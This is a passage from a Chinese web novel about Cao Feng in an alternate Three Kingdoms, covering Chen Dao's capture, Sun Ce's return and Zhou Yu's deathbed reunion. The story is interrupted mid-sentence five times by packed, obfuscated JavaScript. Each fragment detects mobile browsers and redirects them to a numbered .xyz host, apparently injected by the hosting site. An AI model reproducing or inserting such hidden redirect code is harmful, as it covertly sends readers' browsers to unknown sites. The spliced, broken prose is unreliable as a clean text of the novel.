他派关羽统领主力攻打曹操占据的襄阳,又命黄忠为主将、刘封为副将,率领偏师进攻曹风控制的上庸。 这支偏师约五千人,多是荆州老兵,其中还有白毦兵。 上庸城外,“曹”字旌旗猎猎作响。 黄忠来到城前叫阵:“徐荣,快叫曹风小儿出来受死!” 他手持凤嘴刀,虽年过六旬却威风不减。 徐荣站在城楼上,用大刀指着黄忠笑骂:“老匹夫,你熬了大半辈子,靠投奔大耳贼才有机会抛头露面。” “出来前,大耳贼没给你编一双草鞋吗?没草鞋你等会儿怎么逃命?” “你一个老卒还敢提大刀?挥得动吗?不会是竹片子做的吧?” 徐荣故意晃了晃自己手中的大刀。他身后的将士们跟着哄堂大笑。 还有人喊道: “黄老头,回家抱孙子去吧!” “依我看,他连孙子都抱不动了!” 黄忠气得胡须直抖,大怒,用大刀指着徐荣:“你自己也是个老头,还敢嘲笑我?我倒要看看你的武艺有没有嘴皮子这么厉害!” 徐荣大喝一声“开城门”,随即翻身上马,毫不畏惧地迎战。 黄忠提刀纵马直取徐荣。 两马相交时,徐荣大喝一声:“谁放冷箭谁就是孙子!” 自从上次被曹仁用冷箭射伤大腿,徐荣就格外警惕。见黄忠马上挂着宝弓,他先发制人地警告,免得吃亏。 虽然徐荣自己也擅长射箭,但从不屑于单挑时放冷箭。 这话让徐荣军中的曹性最为尴尬。他原本已经躲在城垛后,张弓搭箭,准备找机会给黄忠来一箭。听到徐荣的话,他只好默默放下弓箭。 黄忠和徐荣已交手三十回合,仍未分胜负。 两人刀来刀往,火星四溅。 见两个老将打得焦灼,场中最焦急的要数刘封。 他不敢告诉黄忠,其实曹风就是曹脩。他担心这个倔老头不信,反而一刀砍了他。以黄忠的脾气,完全可能这么做。 刘封焦急地四处张望,小声嘀咕:“曹风怎么还不来?” 陈到一直冷眼旁观,眉头紧锁,警惕地看向刘封:“大公子怎知曹风会来?” 刘封这才意识到说漏嘴了,忘了身边还有刘备派来监督他们的陈到。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737778|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陈到长期统领精锐白毦兵,负责刘备的贴身护卫,是刘备的绝对心腹。此人沉默寡言,但心思缜密,深得刘备信任。 虽然黄忠之前用“与曹风有仇”的理由成功说服众人,但刘备总觉得哪里不对劲,可又说不上来哪里不对劲儿。 最后他想明白了:凡是跟曹风有关的事,必定有蹊跷。这个曹风就像自己克星,走到哪都能惹出麻烦。 因此,刘备对老将黄忠并不完全信任。同时,在诸葛亮和关羽的多次提醒下,刘备对义子刘封也越来越疏远和不信任。 所以刘备派来了陈到监督二人。 这支部队名义上由黄忠和刘封指挥,实际掌控权却在陈到手中。所有校尉以上的军官都接到了密令:必要时听从陈到调遣。 一旦二人有叛变迹象,陈到会立即下令诛杀。 见刘封发愣,陈到更加怀疑,手已握住环首刀,他冷冷地重复:“大公子怎知曹风会来?” 刘封突然想起曹风给他的锦囊计——若遇刘备派来监督的人,可按计保命甚至反杀。 据说这计策出自擅长保命的贾诩之手,刘封对此深信不疑。 刘封压低声音神秘地说:“陈将军有所不知。临行前军师给了我一个锦囊,说曹风必定会增援上庸。” 陈到皱眉问道:“军师还说了什么?”他记得诸葛亮确实有给锦囊的习惯。 刘封凑近他耳边:“正要告诉你呢。擒贼先擒王,军师让我们假意投降,趁机拿下曹风。” 陈到还是不信,质疑道:“临行前,军师为何不告诉我?” “这我哪知道?”刘封摊手,“要不回去后你自己问军师?” 刘封强作镇定,但手心已经汗湿了。 就在这时,远处突然尘土飞扬,一队骑兵正快速逼近。 为首的将领骑着白马,手持银枪,身披黄金甲,脸上戴着一副狰狞的鬼王面具。 刘封一见到这标志性的装扮,终于松了口气——曹风终于来了。 曹风纵马疾驰,弯弓搭箭,朗声笑道:“黄老将军,可还识得谯县曹脩否?” 话音未落,一箭破空而至,不偏不倚正中黄忠与徐荣两把大刀交缠之处! 这一箭力道十足,硬生生将僵持不下的二人分开。 第149章 陈到:到头来,只有我一个是真诈降? “好箭法!”城头上的曹性看得真切,不由得拍手叫好。 曹风刚才那一箭,仍在曹性脑海中不断回放:战马嘶鸣声中,曹风在疾驰的马背上张弓搭箭,随即松手,箭出! 整个动作一气呵成,毫不拖泥带水。 曹性暗自比较着若是自己出手,能有几分把握做到同样的事? 这一箭看似简单,但作为箭术高手,曹性深知其中的难度。 首先,曹风要在奔跑的马背上稳住身形,这考验他的骑术和与战马的默契。尤其是曹风的战马‘黑子’,虽然稳,但速度极快。 其次,曹风射箭时正值逆风,必须精准把控力道,同时估算风力对箭矢的影响。 最难得的是,这一箭不仅要命中目标,还要将两把大刀分开——既需要极强的臂力,又得拿捏最精确的角度。 想到这里,曹性忍不住对身旁的副将感叹道:“公子这一箭,当真神乎其技!别说吕布辕门射戟,恐怕连飞将军李广在世,也不过如此。” 曹性顿了顿,又苦笑道:“我苦练箭术二十多年,却连公子的箭尾都追不上。” 同样精通箭术的徐荣低头看了眼自己的大刀,刀面上还留着刚才那一箭钉出的凹痕。他放声大笑,“才两年没见,公子的箭法又精进了!记得上次比试时,他还没这般火候。” 说着,他转头瞪向黄忠,眼中带着挑衅:“老匹夫,你不是要找我家公子吗?我家公子现在来了,你还能怎样?!都说你箭术了得,我家公子这一箭,你能做得到吗?” 黄忠没有理会徐荣的话,目光牢牢盯着曹风脸上那张熟悉的鬼王面具上。 这张面具,他在熟悉不过! 并且从对方的声音,到方才那精准的分刀一箭,此刻他已确信无疑。 眼前这位白马银枪、身披黄金甲的将军,正是自己的恩人曹脩。 “公子如此大恩,黄忠怎能不识得!”黄忠抱拳深深一礼,声音因激动而微微发颤。 先前从刘封处听闻恩人遇害的消息,他悲愤万分。如今亲眼见到恩人安然无恙,叫他如何能不激动! 曹风朗声大笑,抬手摘下了那张狰狞的鬼王面具,露出一张英俊刚毅的面容。 “老将军别来无恙!”曹风爽朗地说道,“当年多有不便,只能用‘曹脩’这个名字与您相交。” “如今大事已成,不妨告诉你——我既是曹脩,也是曹风!” 黄忠先是一愣,等想明白事情的经过后,不由得放声大笑。 “哈哈哈!公子这是''自己杀自己''?这出戏演得真是精彩!” 徐荣在一旁也惊讶地看了看两人,没想到黄忠竟然也是自己人。 他摸着下巴上的胡须,若有所思。曹风这些年的布局,让他不由得心生佩服。 公子心思之缜密,谋划之深远,实在令人叹服。就像当年救下自己时那样。 曹风策马上前几步,手中**直指刘封等人,不容置疑道:“你们已经被包围了,没了退路。此时不降,更待何时?” 黄忠作为刘备这支部队名义上的主帅,率先响应曹风。 他将手中那柄陪伴他征战多年的长刀重重掷在地上,“黄忠愿降公子!” 刘封见状,悄悄给陈到使了个眼色。然后翻身下马,将佩剑扔得很远。 “我等愿降曹风公子!”刘封眼角余光始终注意着周围的动静。 果然,那些刘备军的士兵并没有立即放下武器,而是齐刷刷看向陈到。 刘封在心中冷笑,这些士兵的反应,正好印证了他之前的猜测。看来陈到确实是刘备安插的眼线。 陈到环顾四周,发现己方确实已经被团团包围。他咬了咬牙,知道现在硬拼只有死路一条,只得按照刘封之前交代的锦囊计策,假装投降,好借机擒住曹风。 他缓缓将手中的环首刀丢在地上,“我等愿降!” 他身后的士兵们见状,这才也跟着弃械投降。 等徐荣引着众人回到上庸城后,局势突变。 众人刚迈入府衙,突然涌出数十名精锐亲卫,瞬间就将陈到按倒在地。 陈到还未来得及反应,就被麻绳捆了个结实。 “曹风!我已经投降,你这是什么意思?”陈到一边挣扎,一边愤怒地质问。 见曹风只是笑着看他,并不答话,陈到猛地看向刘封和黄忠。 发现这两人神色如常,并未被束缚,他顿时明白过来。 他咬牙切齿道:“你们……你们两个……” 刘封踱步上前,拍了拍陈到的肩膀,冷笑道:“陈将军,锦囊妙计我确实是有,不过不是诸葛军师给的,而是曹风公子所赐。” 说着,他从怀中掏出一个精致的锦囊,在陈到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737779|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼前晃了晃。 “我与黄老将军早就归顺公子了,今日这场戏,就是专为你准备的。” “无耻!”陈到双目赤红,声音嘶哑,“刘封!你身为主公长子,却做出这等背主求荣之事,简直禽兽不如!” 这句话彻底戳中了刘封的痛处。 “长子?!”刘封突然暴怒,一把揪住陈到的衣领,险些要把陈到提起来。 刘封的声音越说越高,最后几乎是靠吼:“刘备什么时候把我当儿子了?这些年我在他手下,不仅没被重用,还处处受排挤!关羽、诸葛亮事事刁难我,不就是要给阿斗铺路吗?” 陈到听罢,知道再争辩也是徒劳。作为刘备的心腹亲信,他自然清楚刘备对刘封的真实态度。 他转而怒视黄忠,厉声喝道:“黄忠老匹夫!你以为投靠曹风就能有好下场?别忘了你的家小还在荆州!” 黄忠脸色一变,但很快又镇定下来。 他看向曹风。心想以曹风的手段,必定早有安排。这位公子做事向来滴水不漏,就像当年救治他的儿子黄叙那样。 果然,曹风不紧不慢地走到陈到面前,轻轻拍了拍他的肩膀。 “陈将军别急。黄老将军的家眷,我早就派人去接了。两天前就已经动身往上庸来了。你还考虑一下你自身的处境吧。” “哼!”陈到冷哼一声,“有什么好考虑的,只有一死,报答主公的知遇之恩。” 曹风摆了摆手,“算了!你现在头脑不冷静,我已经提前替你考虑好了。” “不仅黄老将军的家眷在路上了,您的夫人和两位公子,也在来上庸的路上了。” 陈到:??? 陈到:!!! 陈到如遭雷击,嘴唇颤抖着,却说不出话来。过了好半晌,他才怒斥曹风道,“曹风,你这个卑鄙小人!” “哎?!”曹风止住陈到接下来的骂声,“你这可骂错人了,主意是贾诩想出来的。” 曹风话锋一转:“你给刘备做亲卫,天天护着他跑路,能有什么出息?我正好缺个亲卫首领,就你了。” 陈到傻眼了,反问道:“你敢让一个降将做亲卫首领?” “有何不敢?”曹风指了指站在一旁的张嫣,“你也打不过她,更打不过我。” “并且,”曹风又开玩笑道,“我们老曹家祖传,好梦中**!” 第150章 双龙玉佩:孙策与周瑜的生死之约 三日后…… 陈到终于见到了家人。 这一路上,【魍】组织的成员把他的家人照顾得很好。陈到心里百感交集。 他跟随刘备这么多年,好不容易等到刘备有了地盘,他也有了崭露头角的机会。眼看就能晋升,却被曹风强行征召,一切都要从头再来。他心中对此仍有不甘。 但陈到转念一想,过去每次跟着刘备逃亡时,自己都没机会照顾家人,如今反倒安心了些。 与此同时,黄忠也见到了儿子黄叙。随后,他带着黄叙,率领一支精锐骑兵快马加鞭赶往江夏,准备支援凌统,一同截杀孙权。 曹风本人在上庸城又驻留了五日。一直等到了两个人后,才终于启程。 他率领众人乘船顺流而下,直奔东吴的柴桑。 楼船在江面上平稳前行。 陈到站在甲板上,手中紧握凉刀,目光复杂地望着伫立在船头的曹风。 看着曹风的背影,陈到心中苦闷,不禁自嘲:“我这是什么命?跟着刘备的时候,整天忙着护送他逃命。现在投靠了曹风,结果更刺激了!居然要陪着他勇闯东吴的老巢!” 曹风看向一旁盘膝而坐的张嫣。她正闭目吐纳。 曹风对所谓的修仙十分好奇,忍不住再次开口:“嫣儿,我看你修炼很久了,真的不能踏水而行,或者操控水流吗?” 他越说越兴奋,指着横放在张嫣双腿上的那柄无名宝剑,眼中闪烁着期待的光芒:“或者……御剑飞行?” 张嫣缓缓睁开双眸,吐出一口浊气,语气平静:“是你疯了,还是我疯了?” 曹风不死心,又问道:“可我听说你爹会撒豆成兵的仙法,难道这也是假的?” “哪有什么仙法。”张嫣淡淡解释道,“我爹只是把从官府抢来的豆子撒进了穷人的碗里。那些吃不上饭的穷人,自然愿意追随他,成了他的兵。” 张嫣的性格越来越冷淡。这次是曹风来问,她才肯回答。若是换了别人,她根本不会理会。 曹风听完,有些失望地叹了口气:“原来是这样……那还修炼什么?简直修炼了个寂寞。还不如我们俩双修来的……” 话没说完,张嫣一个眼刀甩过来,曹风立刻识相地闭上了嘴。 张嫣话锋一转,皱眉道:“你真的非要去见周瑜吗?这船上所有人加起来,连五十个都不到,你就敢闯进东吴的地盘,我看你是真的疯了。” 曹风无奈地笑了笑,目光望向远方:“好不容易来这一趟,若不见见久仰大名的周公瑾,岂不是太遗憾了?” 见张嫣依旧忧心忡忡地盯着自己,曹风蹲下身,伸手轻轻将她耳畔的一缕青丝别到耳后,柔声道:“放心吧,以公瑾的心胸,不至于趁人之危。” 他顿了顿,又指了指船舱,语气笃定:“何况有他在,不仅周瑜不会为难我们,整个东吴上下,除了孙权的死忠,没人敢动我们。” “另外……”曹风笑着补充道,“蔡瑁也会率领水军接应我们,不会出事的。” 不久前文聘攻破新野城后,曹风便令蔡瑁在蔡阳港操练水军,以防刘备或孙权趁机北上。 张嫣的担忧总算减轻了些。她轻轻合上眼,重新进入吐纳状态。 夕阳的余晖洒在她身上,给她镀上一层金红色的光。她本来就极美的容貌和出尘的气质,在这光影衬托下,更显得不像凡人,宛如仙女。 曹风盯着她看了片刻,心中暗想:“难道真是我根骨太差,无法修炼,所以她故意骗我没有仙法?” 就在这时,船舱内走出一名戴着面具的男子。他的手中紧紧攥着一块双龙玉佩——只是,这块玉佩只有一半。 男子走到曹风身旁,语气中带着期盼:“风兄,还有多久能到柴桑?公瑾……真的在柴桑吗?” “会吧。”曹风望着江面的夕阳,喃喃自语道:“公瑾,你可要挺住啊!” 就在这时,船舱内传出琴音,是蔡文姬在弹奏《高山流水》。 ………… 从巴邱回柴桑的路上。 昏迷多时的周瑜终于缓缓睁开了眼睛。 他发现自己正躺在担架上,而非熟悉的军帐之中。 “停……”他勉强张开干裂发紫的嘴唇,虚弱地吩咐道。 两名抬着担架在山路上前行的士兵听到声音,立刻停下脚步,惊喜地喊道:“丁将军!大都督醒了!” 正在指挥部队有序撤离的丁奉闻言,连忙跑了过来。 他满脸关切:“大都督,您感觉如何?” 周瑜艰难地喝了几口水,环顾四周后,眉头紧锁:“承渊,这条路……为何如此熟悉?像是我们来时的路。” 丁奉低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15743155|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下头,不敢直视周瑜的眼睛,忐忑道:“我……我下令撤军了。” “你怎能……”周瑜愤怒地指着丁奉,刚想挣扎起身,却又无力地倒回担架。 “大都督息怒!保重身体要紧!”丁奉跪倒在地,声音哽咽,“末将甘愿受罚,只求大都督能平安回到柴桑,养好身体!” 周瑜剧烈地咳嗽了几声,目光望向西川的方向。 他眼中满是不甘:“承渊,我们这一撤,荆州……不知何时才能收回了……” 丁奉眼眶通红,声音颤抖:“荆州可以再夺,可大都督您只有一个!若是您……” 他说不下去了,猛地别过脸去,泪水已经夺眶而出。 不仅是丁奉,周围的东吴士兵也纷纷跪地,齐声哭喊:“请大都督保重身体!” 周瑜望着远处山间的落日,那血色的余晖,仿佛是英雄末路。 过了片刻,周瑜在丁奉的搀扶下勉强坐直身子。 周瑜注视着眼前这位年轻的将领丁奉,东吴未来的希望。缓缓开口,声音低沉:“承渊,回去之后,就说是……我下令撤军的。” 丁奉大惊:“万万不可!若这样说,主公必定会……” “记住,当着主公的面,要称呼‘至尊’。”周瑜微笑着打断他,“若是君要臣死,臣又怎能苟活?” 他小心翼翼地掏出怀中的双龙玉佩——这块玉佩只有一半,而另一半,早已随孙策一同下葬。 周瑜凝视着玉佩,眼中浮现出往昔的回忆:“君子之交,当如此玉般纯粹、久远。当年,我与兄长升堂拜母,誓同生死。如今……我却有负兄长临终所托,未能成就东吴基业。” 他长叹一口气,“这次撤军,我便再没机会了。” 丁奉再也忍不住,再次嚎啕大哭起来。 他明白周瑜话中的含义。 一方面,孙权必定会以撤军为由,剥夺周瑜的兵权;另一方面,周瑜的身体,恐怕真的撑不了多久了…… 周瑜轻轻拍了拍丁奉的肩膀,露出一抹欣慰的笑容:“承渊,你很好,将来必成一代名将。” “另外,你选择撤回柴桑,而非建业,做得很好。这样……我们君臣之间,还能留个体面。” 说完这句话,周瑜突然感到一阵天旋地转。他用尽最后的力气,紧紧握住了手中的玉佩…… 第151章 大魏史书名场面:曹风横江见公瑾! 由于丁奉果断撤军,周瑜并没有像历史之中那样,病死在巴丘。 周瑜被抬回柴桑已经数日,病情依旧不见好转。 这些日子里,丁奉请遍了江东所有名医,甚至连神医华佗的弟子都被请来诊治,却始终无法治愈周瑜的旧伤顽疾。 大都督府。 昏迷的周瑜,从剧烈的咳嗽中醒来。他看着手帕上刺目的血迹,知道自己的时间不多了。 孙权正在前线督战,恐怕赶不回来见他最后一面。 周瑜强撑着病体,在案前写下了给孙权的遗书:鲁肃完全有能力胜任都督这个职位。对东吴来说,濡须口的重要性就像合肥对曹军一样关键。可以派吕蒙率领重兵去驻守那里…… “夫君,今日气色似乎好些了。”小乔端着汤药进来,看到周瑜正在书写,连忙放下药碗,“身体刚好转,不该这般操劳。” 小乔没看出周瑜其实是回光返照。 周瑜摆摆手,将写好的书信仔细封好:“夫人,陪我去江边走走吧。” 小乔十分担忧:“江边风大,又冷,你这身体不能再着凉了。” 周瑜固执道:“无妨。我想再看看长江。” 小乔只好为周瑜披上白色大氅,陪他一起前往柴桑口。 ………… 周瑜,这位曾经意气风发的东吴大都督,此刻站在长江岸边,望着奔流不息的江水,思绪回到了十五年前。 那时他与孙策临长江立誓要共谋大业,振兴江东。如今孙策早已离世,而他也将追随而去。 夕阳渐渐西沉,将滚滚江水染成金色。 周瑜突然放声大笑,笑声中既有豪迈,又带着几分苍凉。 “滚滚长江东逝水,浪花淘尽英雄!” 他指尖轻轻拨动琴弦,悠扬而萧瑟的琴声在江面上回荡。 “是非成败转头空……” “青山依旧在,几度夕阳红!” “白发渔樵江渚上,惯看秋月春风。” 周瑜停下抚琴,提起案上的酒坛,仰头灌了一大口。 由于身体的缘故,周瑜许久没有喝酒了。酒液的辛辣刺激着他的喉咙,却让他感到意外的畅快。 随后,他将剩余的酒全部倾入江中,酒水与江水融为一体,向东流去。 “古今多少事,都付笑谈中!” 周瑜的目光越过宽阔的江面,望向对岸的江夏。 那里曾经是东吴的领地,如今却插满了曹军的旗帜。 周瑜洒脱一笑:“曹风,这诗词到底是杨慎所作,还是出自你之手?可惜……可惜我没机会当面问个明白了。” 周瑜突然一阵剧烈的咳嗽,甚至弯下了腰。 小乔连忙上前,轻抚他的后背,眼中满是心疼与担忧。当她看到周瑜手帕上的血迹时,终于忍不住落下泪来。 她这时候才明白,周瑜不是病情好转,而是临死前的回光返照。 周瑜缓过气来,握住小乔冰凉的小手,又看了眼站在一旁、眼眶发红的丁奉,随后叹了口气。 他指着滔滔江水沉声道:“这长江奔流不息,永无止境。人生之艰难,就像这不息之长河,虽有东去大海之志,却流程缓慢,征程多艰……” 他停顿片刻,声音变得更加低沉、虚弱:“然江河水总有入海之时,而人生之志,却常常难以实现,令人抱恨终生!” “我这一生,遗憾太多。” 周瑜仿佛在对江水诉说:“未能继承兄长遗志,收复荆州,振兴江东,此为一憾!瑜,有愧伯符兄临终所托。” 他又看向小乔,眼中满是柔情:“未能与夫人长相厮守,白首偕老,此为第二憾!这些年来,我忙于军务,冷落了你。” 小乔再也控制不住情绪,扑进周瑜怀中痛哭失声。 周瑜轻抚她的长发,目光落在案上的古琴上。 “至于这第三件憾事……” “便是未能与那曹风切磋音律。天幕之中的他,琴艺高超,我一直想与他比试一番,直到琴弦断裂。可惜了,琴弦未断,我人却要先亡。” “至于第四件,应该算是孔明的遗憾吧。人都说我周瑜嫉妒诸葛亮的才能,我倒想问他诸葛孔明一句!” “死公瑾,活孔明,他是否寂寞?!” “罢了!罢了!”周瑜摇头轻笑,“青山依旧在,几度夕阳红!我周公瑾来过,足矣!” 他温柔地捧起小乔的脸,为她拭去泪水:“让为夫再弹一曲,就当是……填平此生所憾吧。” 随着周瑜修长的手指拨动琴弦,《笑傲江湖曲》的旋律在江边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15743156|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响起。 不知是巧合还是天意,江面上突然升起浓密的白雾,将整个江岸笼罩其中。 就在曲子即将终了之际,雾中竟传来另一道琴音相和,紧接着又有琵琶之声加入,三种乐器竟配合得天衣无缝。 丁奉大惊失色,“铮”的一声拔出佩剑,护在周瑜身侧。 小乔也紧张地望向雾蒙蒙的江面,下意识抓紧了周瑜的衣袖。 唯有周瑜浑然不觉危险,完全沉浸在音乐之中。 当三重合奏达到高潮时,他忍不住赞叹:“妙哉!此等琴艺,世间罕见!是你来了吗?” 就在这时,一艘船只破雾而出。 船头坐着一位身着蓝袍的年轻公子,正在专注抚琴。 他右边是位紫衣女子,怀抱琵琶半遮面; 左侧站着一位气质超凡脱俗的青衣女子,怀里宝剑,目光淡然地望着岸边众人。在江雾的衬托下,她仿若仙子。 曲终,余音袅袅。 “曹风?!果真是你!”周瑜率先大笑出声,“好大的胆子!竟敢深入我东吴腹地,是欺我东吴无人吗?” 他虽然言辞锋利,眼中却闪烁着临终前能遇到知音的喜悦。 曹风起身,潇洒地抱拳行礼:“我千里迢迢赶来以琴会友,大都督就是这样待客的?” “若是朋友,自当美酒相待!”周瑜强撑着站起身回礼,虽然面色苍白,气势却不减分毫,“若是来刺探军情,就只有万箭相迎了!” 曹风一甩衣袖,不卑不亢:“公瑾未免太小看我了。若我愿意,谈笑间就能让东吴遍地插满‘曹’字大旗,何须亲自来窥探?” 丁奉闻言大怒,从马背上取下弓箭:“狂妄之徒,看箭!” 丁奉的箭术也算是上乘,这一箭射得又快又狠。 曹风不闪不避,右手轻抬,竟在空中稳稳接住了箭矢。他晃了晃手中的箭,笑道:“公瑾,这就是你说的万箭?” 周瑜不怒反笑,“你的胃口若真能吃下万箭,我现在就可以成全你!” “免了、免了……”曹风连连摆手,“还是留着你的万箭对付诸葛亮吧!那家伙最喜欢万箭齐发的招待。” 周瑜先是一愣,随即想起赤壁之战前诸葛亮草船借箭之事,不由失笑:“这话倒是不假。” 第152章 小霸王现身/周瑜又晕了/华佗晕船 曹风从来不是个肯吃亏的人。哪怕让他吃半点亏,他也必定加倍奉还。并且…… 有仇若能当场报,他绝不会等什么十年! 曹风从甄何手里接过蒲元为他特制的弓箭,搭上丁奉刚刚射来的那支箭。 “小将军,来而不往非礼也!”曹风朗声道。 话音未落,箭已离弦。 “嗖”的一声破空而去。 箭矢精准地钉在了丁奉头盔的鹖鸟尾羽根部。 支箭力道之大,竟将头盔带得往后一仰,险些从丁奉头上掉落。 丁奉只觉得头顶一凉,冷汗瞬间浸透了后背的衣衫。 但他很快稳住心神,强压下心中的惊骇,依旧挺直腰杆,怒视曹风,眼中毫无惧色。 曹风见状,眼中闪过一丝赞赏:“好胆识!面对生死面不改色,是条汉子!小将军可否告知姓名?” 丁奉冷哼一声,不仅没有回答,反而又往前迈了半步,将身后的周瑜挡得严严实实。 他握紧手中的宝剑,警惕地盯着曹风的一举一动。 方才那一箭已经让他见识到了曹风可怕的箭术,此刻他生怕曹风突然发难,再给大都督来一箭。 周瑜见状,轻轻拍了拍丁奉的肩膀,示意他退下。 他缓步上前,与曹风隔江相望。“曹公子远道而来,不会只为与我合奏一曲这么简单吧?” 曹风将手中弯弓抛给甄何,笑着道:“听说大都督旧病复发,命不久矣。我特意带了医官来给你治病。” 转头看去,曹风却发现华佗不见了身影。 周瑜面色不变,摇头否认:“这必定是诸葛孔明造的谣,我身体好得很,哪有什么旧疾复发?休要听他胡言。” “没病?”曹风挑眉,突然提高声调,“那你走两步看看!” 周瑜不再多言,沉声道:“曹将军若再不离开,就真要让你尝尝乱箭穿心的滋味了。” 说这话时,周瑜藏在袖中的手微微发抖。 他清楚地感觉到,自己的胸口又开始隐隐作痛,身体应该是快撑不住了。再过一会儿,病重的迹象就会彻底暴露。 他必须尽快将曹风赶走。 曹风却摇了摇头,不但没有退意,反而转身对着船舱大声喊。 “喂!你再不出来见公瑾,我可要掉转船头,回去了!在塞外威震四方的小霸王,怎么回到江东反倒扭捏起来了?” 孙策自从“死而复生”又经历了失忆后,战场上依然是那个所向披靡的猛将,但平日的性子却变了不少。 "小霸王?!”周瑜瞳孔骤缩,声音都有些颤抖,“曹风,你指的是谁?” 小霸王,这可是孙策的名号! 当年孙策横扫江东,无人能敌,才得了这个威名。 周瑜随即又想起孙策已逝多年,还是自己亲手为他下葬的。 这个念头,让周瑜英俊的面容因愤怒而有些狰狞:“我兄长早已离世,谁敢妄称霸王?!” 显然,孙策就是这位东吴大都督的逆鳞。 这一怒之下,旧伤再也压不住了。周瑜猛地捂住胸口,一口鲜血喷了出来,染红了他胸前的衣襟。 “大都督!” “夫君!” 小乔和丁奉连忙上前,一左一右扶住摇摇欲坠的周瑜。 丁奉急得眼睛都红了,恨不得将曹风生吞活剥。 就在这时,曹风身后的船舱帘子突然被人掀开。 一个戴着面具的高大男子缓步走出,一身英武之气。 男子看着周瑜那张多次出现在自己梦境中的面容,声音激动。 “公瑾……我终于见到你了……” 这熟悉的声音让周瑜浑身一震,不由自主地向前踉跄了几步。 但很快他就回过神来,眼中闪过一丝狠厉。 他猛地转身夺过丁奉手中的弓箭,拉满弓弦直指曹风。 “曹风!你果然和传闻一样阴险狡诈,诡计多端!竟敢找人假扮我兄长来骗我?如此侮辱我兄长,今日我定要你命!” 曹风毫无惧色,反而愤怒地甩袖:“什么?说我阴险狡诈?我诡计多端?!” 他又伸手指着周瑜,“这是谁造的谣!我那叫光明磊落的智慧,怎么就成了诡计!” 戴着面具的男子毫不犹豫地挡在曹风面前。 在周瑜的箭矢前,他缓缓摘掉了脸上的面具,“公瑾,你当年下葬的是我的替身。我没有死,是曹风公子救了我。” 当这张熟悉面容再次出现在眼前时,周瑜手中的弓箭“啪嗒”地一声掉在了地上。 “真是伯符大哥?” 孙策从怀里掏出那半块双龙玉佩,苦笑道:“真的是我。你还是和从前一样谨慎。就像当年你劝我,狩猎时不要独自骑马前行。” 周瑜下意识摸出自己贴身佩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745921|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戴的另一半玉佩,“兄长!” 这一声“兄长”包含着太多复杂的情绪。激动之下,周瑜再也支撑不住,眼前一黑晕了过去。 “大都督!” “夫君!” “公瑾!” 孙策连忙向曹风抱拳:“请公子救救我兄弟!” 曹风挥了挥手,命令船只靠近岸边。 孙策第一个跳下船,三步并作两步赶到周瑜身边。 小乔已经哭成了泪人:“大哥,丁奉之前把神医华佗的徒弟都请来了,也没办法诊治他的伤病,公瑾他恐怕……” 丁奉也在一旁沮丧地摇头:“是啊,那曹风恐怕也……” “这位小兄弟,你好像是在针对我啊?我看你就是欠徐荣的一顿喷。”曹风笑呵呵道,“徒弟救不了,不代表师父救不了。” 曹风转头问甄何,“华佗那老头儿呢?怎么还没下船。” 甄何指着船上,又是无奈又是好笑:“晕船晕得厉害。” 只见华佗正抱着船沿,吐得昏天黑地。 把江水都染出了一片污浊。 曹风皱眉,不解道:“这老头儿医术高超,治不了自己的晕船之症?” 甄何学着华佗的语气,摇头晃脑道:“是药三分毒,岂能对自己乱用药!” 曹风失笑着摇了摇头,命人将华佗搀扶下船。 华佗用了整整两天的时间,才将周瑜的伤势稳住。这两天里,孙策寸步不离地守在病榻前,眼睛都熬红了。 